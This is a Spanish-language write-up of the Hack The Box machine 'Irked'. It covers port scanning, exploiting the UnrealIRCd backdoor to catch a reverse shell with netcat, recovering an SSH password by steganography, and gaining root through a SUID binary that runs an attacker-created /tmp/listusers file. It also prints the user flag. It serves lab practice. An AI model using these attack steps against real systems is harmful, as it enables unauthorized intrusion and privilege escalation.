Irked

Plataforma HTB Dificultad Fácil

By Elmili72

image

1. Escaneo de puertos general

Primero realizamos un escaneo de todos los puertos para ver cuales están abiertos.

$ sudo nmap -sS -p- --min-rate 5000 -vvv -n -Pn 10.10.10.117 -oG allports
PORT      STATE SERVICE    REASON
22/tcp    open  ssh        syn-ack ttl 63
80/tcp    open  http       syn-ack ttl 63
111/tcp   open  rpcbind    syn-ack ttl 63
6697/tcp  open  ircs-u     syn-ack ttl 63
8067/tcp  open  infi-async syn-ack ttl 63
58282/tcp open  unknown    syn-ack ttl 63
65534/tcp open  unknown    syn-ack ttl 63

2. Escaneo específico de puertos

Una vez tenemos los puertos abiertos realizamos un escaneo más específico de los servicios que corren en ellos y sus versiones.

$ nmap -sCV -p22,80,111,6697,8067,58282,65534 10.10.10.117 -oN escaneo
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35364/tcp6  status
|   100024  1          39038/udp   status
|   100024  1          49220/udp6  status
|_  100024  1          58282/tcp   status
6697/tcp  open  irc     UnrealIRCd
8067/tcp  open  irc     UnrealIRCd
58282/tcp open  status  1 (RPC #100024)
65534/tcp open  irc     UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

3. Reconocimiento del servicio HTTP

En el puerto 80 (HTTP), podemos ver solo una imagen que dice que el servicio IRC está funcionando.

image

4. Búsquedas de vulnerabilidades en los servicios

Buscando uno de los servicios abiertos sobre el IRC anteriormente comentado vemos que hay un Backdoor sobre ese servicio.

image

5. Fase de Explotación

Para poder user el exploit es importante modificar tanto la ip local como el puerto para que se ejecute correctamente.

image

$ python3 exploit.py 10.10.10.117 6697 -payload python #Esto en una terminal
$ nc -lvnp 4444 #Esto en otra terminal                                                 
listening on [any] 4444 ...
connect to [10.10.14.33] from (UNKNOWN) [10.10.10.117] 60976
ircd@irked:~/Unreal3.2$ 

Una vez estamos dentro vemos que somos el usuario ircd. Pese a ello podemos entrar en el directorio del usuario djmardov y leer archivos.

image

Entramos en el directorio Documents y vemos un archivo oculto llamado “.backup”. El cual contiene una palabra secreta para esteganografía.

image

image

6. Esteganografía

Al descargar la imagen del servicio HTTP, le podemos hacer un pequeño ejercicio de esteganografía para ver si tiene archivos ocultos usando la contraseña anteriormente dada y efectivamente hay un archivo “pass.txt”.

$ steghide extract -sf irked.jpg
Anotar salvoconducto: 
anot� los datos extra�dos e/"pass.txt".

image

7. Intrusión al usuario

Y como era de esperar era la contraseña para el usuario djmardov para ssh. Y podemos leer el “user.txt”.

image

djmardov@irked:~$ cat user.txt
d238d8eb948f084a44836abe17d1b658

8. Escalada de Privilegios

La escalada de privilegios es bastante sencilla, buscamos archivos con permisos suid para el usuario djmardov desde la raíz y vemos un binario que no es frecuente.

image

Al ejecutarlo vemos que realiza a una llamada a un archivo que no existe, por lo que podemos crearlo nosotros mismos y más facil aún siendo desde el directorio “/tmp”.

image

Creamos el archivo “listusers” y le otorgamos permisos de ejecución. Y estaremos logeados como root sin más problema. Pudiendo además leer el archivo con la flag “root.txt”.

echo "/bin/bash" > /tmp/listusers
chmod u+x /tmp/listusers

image

¡Espero que os haya gustado el writeup y que os haya servido! ¡Hasta la próxima!

Share: LinkedIn